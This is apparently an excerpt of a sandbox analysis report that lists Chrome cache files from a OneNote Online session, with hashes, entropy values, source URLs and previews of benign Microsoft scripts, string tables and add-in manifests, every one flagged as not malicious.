File Type:	ASCII text, with very long lines (8344), with no line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	4.9273680360222745
Encrypted:	false
SSDEEP:	96:wwKI3zZc4ys873IJ7kx3HPcYaV2klI70JbieVPhHaAtZI88f+L+17XN8GdpF/w67:wZI3zmjLaMkhi1lGJK8h/0
MD5:	4E2775868113E893AC7DCA5F68BCE700
SHA1:	FE4BDB7D453BBDB5DB32799895EEA23BC80A0310
SHA-256:	95C610F3AC1963572366EE84B1860E9BFB4267AA76BF6D0FE5D53E2F317252C8
SHA-512:	DAC70F5E8B3C23E82C94FBB17C88ADC6B65A0C0F4F1BE91CDDDE66D33BE48E543905528E157F73C9C9A191066EE06E97B8EC37367D2AA3DAF26CC5DF226767F4
Malicious:	false
Reputation:	low
Preview:	var OnenoteNavpaneStrings={AddPage:"Add page",AriaAddPage:"Add page",AddSection:"Add section",AriaAddSection:"Add section",AriaCollapseNotebookLabel:"Select to go back to the section and page navigation.",AriaPageLabel:"Page. Select to open page contents.",AriaSelectedPageLabel:"Page. Selected. Press Ctrl + F6 to navigate to page contents.",AriaSectionLabel:"Section. Select to switch to this section.",AriaSelectedSectionLabel:"Section. Selected. Press Ctrl + F6 to navigate to page list of the section.",AriaSectionGroupLabel:"Section Group. Select to expand and display inner sections.",AriaVersionLabel:"Version. Select to open version contents.",AriaSelectedVersionLabel:"Version. Selected. Press Ctrl + F6 to navigate to version contents.",AriaConflictLabel:"Conflict. Select to open conflict page contents.",AriaSelectedConflictLabel:"Conflict. Selected. Press Ctrl + F6 to navigate to conflict page contents.",AriaNotebookLabel:"Notebook. Select to switch to this notebook.",AriaNavpaneLabe

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	294909
Entropy (8bit):	5.472615363298836
Encrypted:	false
SSDEEP:	6144:tAVG1zdBawcC0TxmKb7ug8BAYl2Nh1pvph/mIM3BvBfMkq9PWyfX7HTTqEt/BxpS:tD1zdBawcC0TrRYl2NRvph/mIM35q9PM
MD5:	A9FDB5E3B35CBD2F8CC7AE11448EF80A
SHA1:	83E1511DF61F28337258785382FA924D3EBB9A73
SHA-256:	5A49B1360686AF8338AC84F3A3ED3FEB1D6576383F4A72E8D932B26FF72C956B
SHA-512:	4679F894993CD3E331D619F766A548F746AFC1D1CF7982172ED1EBF57AD31585E78E52ECFD43D1B683100F46F8FE0E58EC34F901D5CA2792BDF453CD24D9954D
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.slim.e381401a7dae5b410169.js
Preview:	var Microsoft;!function(){var t,e,i,n,o={8444:function(t,e,i){var n,o=function(){var t=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",n={};function o(t,e){if(!n[t]){n[t]={};for(var i=0;i<t.length;i++)n[t][t.charAt(i)]=i}return n[t][e]}var s={compressToBase64:function(t){if(null==t)return"";var i=s.H(t,6,(function(t){return e.charAt(t)}));switch(i.length%4){default:case 0:return i;case 1:return i+"===";case 2:return i+"==";case 3:return i+"="}},decompressFromBase64:function(t){return null==t?"":""==t?null:s.A(t.length,32,(function(i){return o(e,t.charAt(i))}))},compressToUTF16:function(e){return null==e?"":s.H(e,15,(function(e){return t(e+32)}))+" "},decompressFromUTF16:function(t){return null==t?"":""==t?null:s.A(t.length,16384,(function(e){return t.charCodeAt(e)-32}))},compressToUint8Array:function(t){for(var e=s.compress(t),i=new Uint8Array(2*e.length),n=0,o=e.length;n<o;n

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (586)
Category:	dropped
Size (bytes):	2272511
Entropy (8bit):	5.633565368647179
Encrypted:	false
SSDEEP:	49152:ht/JgaSzBB9ntnknWIg0vxvF2eHlZFNtiqa5YArbfbTrqDvockGJkkflfQNWa0g3:0r3
MD5:	42F6B2DFDA44FAEB070B485D2F4F34DE
SHA1:	D231031DBAD89C99F3CEF919C037BE0A52C9C280
SHA-256:	3F7E0AEC7846A2C822A97F654E5A18CD04BB7D8C1998D2701FB165249B5F6403
SHA-512:	0F8840A2D464272CE6696FF3A74AC9B1A88D560397709DBCE47500629B74FCD19F45EB1A3E4DF38F5DC15D10C525CFE0E466FECB672AE8920E54758E829F988B
Malicious:	false
Reputation:	low
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[2],{56494:function(Ba,$a,R){R.d($a,{a:function(){return X}});Ba=R(6885);var Ga=R(33067),La=R(19780),Ta=R(22137),K=R(69525),W=R(23866),d=R(83068),n=R(77836),k=R(4461),l=R(86250),u=R(72997),e=R(66511),B=R(54170),h=R(4638),w=R(18268),A=R(90491),G=R(60004),I=R(70398),F=R(93518),C=R(34914),t=R(405),M=R(27673),J=R(30549),L=R(32393),v=R(73379),r=R(9376),z=R(27944),H=R(35197),D=R(27557),O=R(53997);class U{constructor(){this.pressure=.this.pageY=this.pageX=this.y=this.x=0}}(0,Ba.a)(U,"InkPacket",null,[]);var S=R(95249),T=R(66617),Z=R(32935),ca=R(24372),ea=R(92033);class X{static get sJc(){return W.a.instance.resolve("OneNote.IInkEditor")}static get F7(){return d.FocusManager.instance()}static get Elb(){return X.Re\|\|(X.Re=W.a.instance.resolve("Box4.ICaretPositionManager"))}static get zAa(){return X.kb\|\|(X.kb=W.a.instance.resolve("Box4.ICevViewContentManager"))}static ju(){return X.mj\|\|(X.mj=W.a.instance

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
Reputation:	low
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
Reputation:	low
URL:	https://messaging.engagement.office.com/campaignmetadataaggregator?country=US&locale=en-US&app=2158&platform=Web&version=16.0.17903.41012&campaignParams=pageWidth%3D1280%26pageHeight%3D907%26screenWidth%3D1280%26screenHeight%3D1024%26colorDepth%3D24%26more%3Dtrue%26OFC_Audience%3DProduction%26Datacenter%3DGEU3%26TenantId%3Dccdc4ebe-1888-499b-9e73-bbbd560179ed%26SelfTriggerActivity%3D%26&contentType=CampaignContent%3BDynamicSettings&puid=&OFC_FLIGHTS=&ageGroup=0&sessionUserType=2
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1505
Entropy (8bit):	5.315674199324367
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqxXPOa7JZRGNeHX+AYcvP2wk1APSdgpsTTqGvHLiXFVjguk5:lmIAq1UqNOiJZ+eHX+AdP22yllivjguU
MD5:	59372A1A3FB09A27594093F0BF524613
SHA1:	DD44CDA08F082DAC06E0D0FBFA662830B9989926
SHA-256:	4D16C45DF3C3EDB6B0A3E8937DADB5AE95BF8737A728EEDB397E0C964F16B396
SHA-512:	2BC00587DD316A697D87B68937A8A34D330E11568DD7A531980C901978FD2EC3C2A6A513856171A7D10C32922EDE46EEC1E5E17459D046091D413A7947E957AE
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>412 - Precondition set by the client failed when evaluated on the Web server.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1>

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1917), with no line terminators
Category:	downloaded
Size (bytes):	1917
Entropy (8bit):	4.857442421785386
Encrypted:	false
SSDEEP:	48:l9AK7E4h5qV5j9RXkIgj3oJzXz6WnzWgEAZAdAhATcY7A03LpAQAqAuAIA3UmcY7:e4WvkIC+TzFnbcXLQ1
MD5:	FFC175D47F55E17139466B8D5F7B5597
SHA1:	F179CDF25E0F3F02E6A7506628136EC2BC61EB31
SHA-256:	038A2421C537F9A7FEFA0CBB8FD7A907D53952B424870ACC7939D6A3BCBB7B14
SHA-512:	04BF06DD8E059A8D0D4936947A36D2FF7C8258191B9FA27505894E5411E8D19B3470F16D492A0D6D6BDF4740B156C0D992BE6388BA203897416E1C7FB6739D1C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/onenote-whatsnew-strings.min.js
Preview:	var OnenoteWhatsnewStrings={WhatsNewDialogTitle:"What's New",GotItButton:"Got it!",ImmersiveReader:"The new Immersive Reader provides students with advanced tools to boost reading skills.",Ink:"Handwrite your notes, annotate documents, or sketch out your next big idea with new drawing tools.",NewNotebook:"You can now create notebooks in OneNote Online.",DragHandles:"Use drag handles to easily move text, reorder a list, swap table rows, and re-position images.",SyncUX:"Click the Page Sync Status button for more information about the sync status of the current page.",NotesFeed:"Open the Feed pane for easy access to your OneNote pages, Samsung notes, and sticky notes.",TwoPaneNavigation:"You can hide the navigation pane to focus on the current page or show the navigation pane to switch between your pages, sections, and notebooks.",ReactMLR:"Expand the ribbon to easily find OneNote commands, or collapse it again to maximize your note-taking space.",LearnMoreLinkText:"Learn More",CanvasZoom

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	969
Entropy (8bit):	5.171349633572766
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdgIQAEJAoImLFJ1o02ev+Es:cWA886hPtIWkIQlJwUFJ1o05v+d
MD5:	5E6EDC73470FF3E746BC8BDAC6FB38B2
SHA1:	7DFA441D001FE0B50A5F6ED6102479662D2497DF
SHA-256:	71344C4AACBC26401DD2CFDCDB7C16625B423B4E710A0030A65D90B7E16F602D
SHA-512:	F3186C5204BAE1523433CDB852732390E02864AE37CF0E39175A369E712D6101D6486C1B3B0BE031D1A3072963C251BC7F251048D172FF71081DF92A79C8132D
Malicious:	false
Reputation:	low
URL:	https://fa000000110.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.0.5/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2a</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps" />.. <Description DefaultValue="Office first party apps" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22010)
Category:	dropped
Size (bytes):	22064
Entropy (8bit):	4.683167977137934
Encrypted:	false
SSDEEP:	384:VM4GO9OuOPgOyOKOEOuOjOeOsO6SOYOIOE:VYO9OuO4OyOKOEOuOjOeOsOlOYOIOE
MD5:	FEA7FEF4C2CCA9D34F28F97188291B00
SHA1:	191D63A4B827A88674E9CD62682EB0899EFC9097
SHA-256:	105DB7DDDF5115CBCA30476194728D4286525061786056816AEF03D416E7D87B
SHA-512:	0F579ABDF6CDA4BE6257ABFB1B4D796FF6A772394C12CD5B64E11045834A75596C0719937BE56ECB0F6C623D9498ACF1C3067D62C091E21B93D71E96B3F893F5
Malicious:	false
Reputation:	low
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[814],{85586:function(a,i,t){t.r(i),t.d(i,{default:function(){return n}});var x=t(75336);const e=t(48934),r=new x.U("oreo-loadingSpinner");class s{static getData(){return new Promise(((a,i)=>{a(t(29717))}))}}var k=null;class n{static startAnimation(){const a="OreoLoadingSpinner",i=document.getElementById("WACPageLoadingIndicator");if(i){if(k&&window.clearTimeout(k),k=window.setTimeout((()=>{document.getElementById(a)&&r.warningTag(591407137,"OneNote Oreo Spinner is active for too long 30000")}),3e4),!this.spinner)return new Promise(((t,x)=>{r.infoTag(591407138,"OneNote Oreo Spinner is loading."),s.getData().then((t=>{let x=document.createElement("span");x.id=a,x.className="oreoLoadingSpinner",i.insertBefore(x,i.firstChild);let r={container:x,renderer:"svg",loop:!0,autoplay:!0,animationData:t};this.spinner=e.loadAnimation(r),this.spinner.play()})).catch((a=>{r.errorTag(591407139,"Error while loading O

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/Meetings_manifest.xml
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20116), with no line terminators
Category:	dropped
Size (bytes):	20116
Entropy (8bit):	5.265227006593126
Encrypted:	false
SSDEEP:	384:uCYdXBag5QAdRLxUSkgRfku5ro+PZCewau6Y:K5Z7LKocu5ro+PZCdau6Y
MD5:	EDF023B23DC08C7C90BA27A3BDE7480B
SHA1:	0F03EDBE6BDA20C20251EFF9DB86359EB5155F66
SHA-256:	7337ED6220111758E61F3BE5060AE9A807D83EDF05D5F7CC92B0B85E34A5FEF3
SHA-512:	93450345EE48033238467EF1BA3550F3C2FACA5C07178B1E7AAB989A4C845D7D87FC25FC33AAF431CBF1AEA5B9C3FE6619A8045B066DB5B239197072029E0740
Malicious:	false
Reputation:	low
Preview:	!function(a){"function"==typeof define&&define.amd?define("picker",["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):this.Picker=a(jQuery)}(function(a){function b(f,g,h,k){function l(){return b._.node("div",b._.node("div",b._.node("div",b._.node("div",w.component.nodes(r.open),t.box),t.wrap),t.frame),t.holder)}function m(){u.data(g,w).addClass(t.input).val(u.data("value")?w.get("select",s.format):f.value).on("focus."+r.id+" click."+r.id,p),s.editable\|\|u.on("keydown."+r.id,function(a){var b=a.keyCode,c=/^(8\|46)$/.test(b);return 27==b?(w.close(),!1):void((32==b\|\|c\|\|!r.open&&w.component.key[b])&&(a.preventDefault(),a.stopPropagation(),c?w.clear().close():w.open()))}),e(f,{haspopup:!0,expanded:!1,readonly:!1,owns:f.id+"_root"+(w._hidden?" "+w._hidden.id:"")})}function n(){w.$root.on({focusin:function(a){w.$root.removeClass(t.focused),a.stopPropagation()},"mousedown click":function(b){var c=b.target;c!=w.$root.children()[0]&&(b.stopPropagation(),"mousedown"!=b.type\|

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65526), with no line terminators
Category:	downloaded
Size (bytes):	265699
Entropy (8bit):	5.857086178501861
Encrypted:	false
SSDEEP:	3072:8MyLfvXjJxPAEeo+pOPaXD9NSt1mbzfoEcw3MVJyVI3a:8MwfdHkMt1gmx3a
MD5:	2AA8BE9321D1CBB8B3179E246246D04D
SHA1:	7E1111B19C12ECAD78E0B91A03C3A009CC9A9FD9
SHA-256:	7A1853AABF7D65BA5E0666D785F4955563874929735C48106738D0FBA6123655
SHA-512:	FF64DEB8B73C641E94DDF0D92A0C02105A49C32272147F6C26446CD0AD8E7243A7DCC01A6B95A495CF8F303594E586AD7C72863D19C49A639C17A8F900A60130
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/oreonavpane.min.js
Preview:	function _define_property(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function _object_spread(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n]:{},i=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(t).filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})))),i.forEach((function(n){_define_property(e,n,t[n])}))}return e}function ownKeys(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);n&&(i=i.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,i)}return t}function _object_spread_props(e,n){return n=null!=n?n:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})),e}(globalThis.onenote

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	142864
Entropy (8bit):	5.368940652952714
Encrypted:	false
SSDEEP:	3072:pZ8BledUrJR/79GCeBN3G6i6PJm6oOlXy9Ohll31u9zQrcVL:pZ8Ble8n/wP9Pdhngzx
MD5:	CCF14BAB648E1928627B29820DD3935E
SHA1:	777026F56F9A96B0E1143F9C321C50B1113036A0
SHA-256:	AE936AAE69A6CF06CFD2752B709EAE22FB35BCE963983FDD273E74A5ED3CA359
SHA-512:	4C195A3DB79A6EA20DEFB73A94B7DDD7B66BCAF687F251BA789F31FFE959C83CA7688FDBD041BDAB897A362A652C3BD767BEBD613160F47038678E47A97E1A66
Malicious:	false
Reputation:	low
Preview:	var Microsoft="object"==typeof Microsoft?Microsoft:{};Microsoft.Office=Microsoft.Office\|\|{},Microsoft.Office.OneNote=function(t){var e={};function i(s){if(e[s])return e[s].exports;var o=e[s]={i:s,l:!1,exports:{}};return t[s].call(o.exports,o,o.exports,i),o.l=!0,o.exports}return i.m=t,i.c=e,i.d=function(t,e,s){i.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:s})},i.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},i.t=function(t,e){if(1&e&&(t=i(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)i.d(s,o,function(e){return t[e]}.bind(null,o));return s},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,e){return Object.prototype.hasOwnPro

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17073
Entropy (8bit):	4.927573574885564
Encrypted:	false
SSDEEP:	384:r3GhH6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV3vzJ9YaikHcL2MQk7:rgzwSkQWjU/8BlOaikMKu
MD5:	7E4B14A120791D9AAC2A387B9BCAC22A
SHA1:	83232C00756A243DDB2F0B3FFFFD24D5EDD9EA34
SHA-256:	C3114F4400B80C128BDD158647F73F87A5458369E19688562C58715BC37D4C20
SHA-512:	7C202D1B23665A052634626F21C645F878DC03C996D2D7D858E9A8210093FC96E315CAFFF2BB00DE7994918FD9B141A3E195A10AF0950A8C683E3FDBBD1CB7BD
Malicious:	false
Reputation:	low
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011), with CRLF line terminators
Category:	downloaded
Size (bytes):	53853
Entropy (8bit):	5.500009921962495
Encrypted:	false
SSDEEP:	768:WFBlHId5vh+HExEP0HLVwU+megaBJpLGgVI3g6BifcqJMBSWDv6:WpHId5W0HLEagVIw6QXb
MD5:	5A8ED3646A340A247CD48F5732BAEA69
SHA1:	8A961A2C1461EB5CD8A9009911970824602F8B79
SHA-256:	C459EC1608D98A847AB4C83723E1C4B2DC6E58A7006D5566C529A93113C2EE62
SHA-512:	5421BC6C0EA27EE75F7B5633AA5757C62EE16C84E94099D301EEA9944131F8A26CE941711ACE5EFB66AD62FBD16460B31403A2B016E8CF72D1F025868CA838D8
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/aria-web-telemetry-2.9.0.min.js
Preview:	var clienttelemetry_build;!function(e){e.version="2.9.0"}(clienttelemetry_build\|\|(clienttelemetry_build={}));var Microsoft;!function(e){var t;!function(e){var t;!function(e){e[e.BT_STOP=0]="BT_STOP",e[e.BT_STOP_BASE=1]="BT_STOP_BASE",e[e.BT_BOOL=2]="BT_BOOL",e[e.BT_UINT8=3]="BT_UINT8",e[e.BT_UINT16=4]="BT_UINT16",e[e.BT_UINT32=5]="BT_UINT32",e[e.BT_UINT64=6]="BT_UINT64",e[e.BT_FLOAT=7]="BT_FLOAT",e[e.BT_DOUBLE=8]="BT_DOUBLE",e[e.BT_STRING=9]="BT_STRING",e[e.BT_STRUCT=10]="BT_STRUCT",e[e.BT_LIST=11]="BT_LIST",e[e.BT_SET=12]="BT_SET",e[e.BT_MAP=13]="BT_MAP",e[e.BT_INT8=14]="BT_INT8",e[e.BT_INT16=15]="BT_INT16",e[e.BT_INT32=16]="BT_INT32",e[e.BT_INT64=17]="BT_INT64",e[e.BT_WSTRING=18]="BT_WSTRING",e[e.BT_UNAVAILABLE=127]="BT_UNAVAILABLE"}(t=e.BondDataType\|\|(e.BondDataType={}));var n;!function(e){e[e.MARSHALED_PROTOCOL=0]="MARSHALED_PROTOCOL",e[e.MAFIA_PROTOCOL=17997]="MAFIA_PROTOCOL",e[e.COMPACT_PROTOCOL=16963]="COMPACT_PROTOCOL",e[e.JSON_PROTOCOL=21322]="JSON_PROTOCOL",e[e.PRETTY_JSON_PR

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65443)
Category:	dropped
Size (bytes):	729226
Entropy (8bit):	5.519121650871897
Encrypted:	false
SSDEEP:	6144:monR5X13bZ1DthVQcch0FDmo+n73+n7V5VXss/Vk5rEvXTM4YxEY/U9RLFuS27h:monR51HV8MIr+F0
MD5:	252E6811824952CA13EEB11A17F6A9C4
SHA1:	D8F34D51451179EFD51BF0BB405AE9FC1C23A8DF
SHA-256:	A81023797B625FB4F2D11864FF7F43009F15DBE3F52DC4E143A0B1884077E995
SHA-512:	520D13DB7C902B275129CEF7F3D1187FDBD636A3B110DA0C5AC3301260EE6B8A083A3491B8C82DDBD57739D712C016FF24B81AB5E8234DA3CF070331DD0F0B9F
Malicious:	false
Reputation:	low
